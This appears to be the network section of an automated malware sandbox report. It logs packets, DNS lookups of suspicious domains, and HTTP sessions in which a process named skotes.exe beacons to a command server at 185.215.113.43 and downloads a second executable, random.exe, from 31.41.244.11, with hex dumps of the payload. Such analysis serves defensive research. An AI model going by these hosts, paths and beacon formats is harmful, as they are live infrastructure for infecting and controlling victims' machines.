Dec 18, 2024 09:07:47.748064995 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.756238937 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.756299973 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.756325960 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.764578104 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.764663935 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.764682055 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.811790943 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.811858892 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.858793020 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.930679083 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934504032 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934547901 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934597969 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.934667110 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934705019 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934751034 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.934782982 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.934926033 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.934962988 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.934988976 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.935003042 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:48.009388924 CET	80	49729	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:48.009455919 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:48.190694094 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:48.190785885 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:48.190871954 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:48.191250086 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:48.191287994 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:49.409707069 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:49.409801960 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:49.420247078 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:49.420274019 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:49.420583010 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:49.423832893 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:49.424020052 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:49.424052000 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:49.516175032 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:49.516493082 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:49.646348000 CET	80	49731	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:49.646516085 CET	80	49729	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:49.646637917 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:49.646639109 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:49.664885044 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:49.784648895 CET	80	49731	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:50.221132994 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:50.221218109 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:50.221277952 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:50.221388102 CET	49730	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:50.221409082 CET	443	49730	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:50.408585072 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:50.408638000 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:50.408834934 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:50.409271002 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:50.409293890 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:50.989154100 CET	80	49731	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:50.989267111 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:51.624793053 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:51.624886990 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:51.626116991 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:51.626137972 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:51.626482010 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:51.627604961 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:51.627754927 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:51.627805948 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:51.627893925 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:51.675345898 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.413630962 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.413764954 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.413995028 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:52.436851025 CET	49732	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:52.436924934 CET	443	49732	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.702214956 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:52.702677965 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:52.822432041 CET	80	49731	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:52.822499037 CET	80	49733	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:52.822555065 CET	49731	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:52.822582960 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:52.822746038 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:52.922307014 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:52.922399998 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.922585011 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:52.922836065 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:52.922869921 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:52.942555904 CET	80	49733	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:54.130971909 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:54.131066084 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:54.132320881 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:54.132369041 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:54.132714987 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:54.133923054 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:54.134063959 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:54.134107113 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:54.134181023 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:54.134196043 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:54.159136057 CET	80	49733	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:54.159415007 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.023257971 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:55.023502111 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:55.023509979 CET	443	49734	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:55.023575068 CET	49734	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:55.672624111 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.672923088 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.794936895 CET	80	49735	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:55.795042038 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.795227051 CET	80	49733	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:55.795237064 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.795281887 CET	49733	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:55.883269072 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:55.883306980 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:55.883378983 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:55.883724928 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:55.883747101 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:55.915415049 CET	80	49735	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:57.091733932 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.092062950 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.093194962 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.093250990 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.093615055 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.094830990 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.094921112 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.094934940 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.142173052 CET	80	49735	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:57.142266989 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:57.860341072 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.860460997 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:57.860544920 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.860634089 CET	49736	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:57.860650063 CET	443	49736	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:58.379597902 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:58.379693985 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:58.379815102 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:58.380165100 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:58.380202055 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:58.767448902 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:58.767713070 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:58.887325048 CET	80	49738	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:58.887425900 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:58.887598991 CET	80	49735	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:58.887623072 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:58.887778044 CET	49735	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:59.007354975 CET	80	49738	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:59.595875978 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.595987082 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.601958990 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.601993084 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.602257967 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.603435993 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.604206085 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.604249001 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.604410887 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.604450941 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.604603052 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.604648113 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.604824066 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.604870081 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.605084896 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605134964 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.605350018 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605386972 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.605406046 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605434895 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.605499983 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605544090 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.605649948 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605714083 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.605746031 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.651330948 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.651568890 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.651619911 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.651674032 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.651695967 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.651777029 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.651830912 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:59.651856899 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:59.651890039 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:00.223702908 CET	80	49738	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:00.223915100 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.734493971 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.734734058 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.854566097 CET	80	49739	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:01.854614019 CET	80	49738	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:01.854795933 CET	49738	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.854809046 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.855036974 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:01.885814905 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:01.885898113 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:01.885986090 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:01.886102915 CET	49737	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:01.886140108 CET	443	49737	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:01.898118019 CET	49740	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:01.898195982 CET	443	49740	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:01.898308039 CET	49740	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:01.898714066 CET	49740	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:01.898751020 CET	443	49740	172.67.179.109	192.168.2.8
Dec 18, 2024 09:08:01.974735975 CET	80	49739	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:02.921885014 CET	49740	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:08:03.196125031 CET	80	49739	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:03.196221113 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.304253101 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.305016994 CET	49741	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.313396931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:08:05.424609900 CET	80	49739	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:05.424772024 CET	80	49741	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:05.424860001 CET	49739	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.424895048 CET	49741	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.425483942 CET	49741	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:08:05.433351994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:08:05.433430910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:08:05.545155048 CET	80	49741	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:06.768769026 CET	80	49741	185.215.113.43	192.168.2.8
Dec 18, 2024 09:08:06.768969059 CET	49741	80	192.168.2.8	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:07:15.786127090 CET	59251	53	192.168.2.8	1.1.1.1
Dec 18, 2024 09:07:16.090147018 CET	53	59251	1.1.1.1	192.168.2.8
Dec 18, 2024 09:07:42.955482960 CET	54512	53	192.168.2.8	1.1.1.1
Dec 18, 2024 09:07:43.178621054 CET	53	54512	1.1.1.1	192.168.2.8
Dec 18, 2024 09:07:43.181644917 CET	55921	53	192.168.2.8	1.1.1.1
Dec 18, 2024 09:07:43.556766033 CET	53	55921	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 09:07:15.786127090 CET	192.168.2.8	1.1.1.1	0xbcb8	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:42.955482960 CET	192.168.2.8	1.1.1.1	0xa03f	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:43.181644917 CET	192.168.2.8	1.1.1.1	0xe023	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 09:07:16.090147018 CET	1.1.1.1	192.168.2.8	0xbcb8	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:16.090147018 CET	1.1.1.1	192.168.2.8	0xbcb8	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:43.178621054 CET	1.1.1.1	192.168.2.8	0xa03f	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:43.556766033 CET	1.1.1.1	192.168.2.8	0xe023	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:07:43.556766033 CET	1.1.1.1	192.168.2.8	0xe023	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pancakedipyps.click

grannyejh.lat

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:04.713125944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 09:07:06.025878906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:07.670543909 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 09:07:09.579338074 CET	594	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 33 0d 0a 20 3c 63 3e 31 30 31 36 38 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 38 35 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 38 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 38 35 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 [TRUNCATED] Data Ascii: 193 <c>1016851001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016852001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016853001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016854001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	31.41.244.11	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:09.704662085 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 09:07:11.027827978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:10 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 09:07:11.027890921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:11.027926922 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 09:07:11.027982950 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
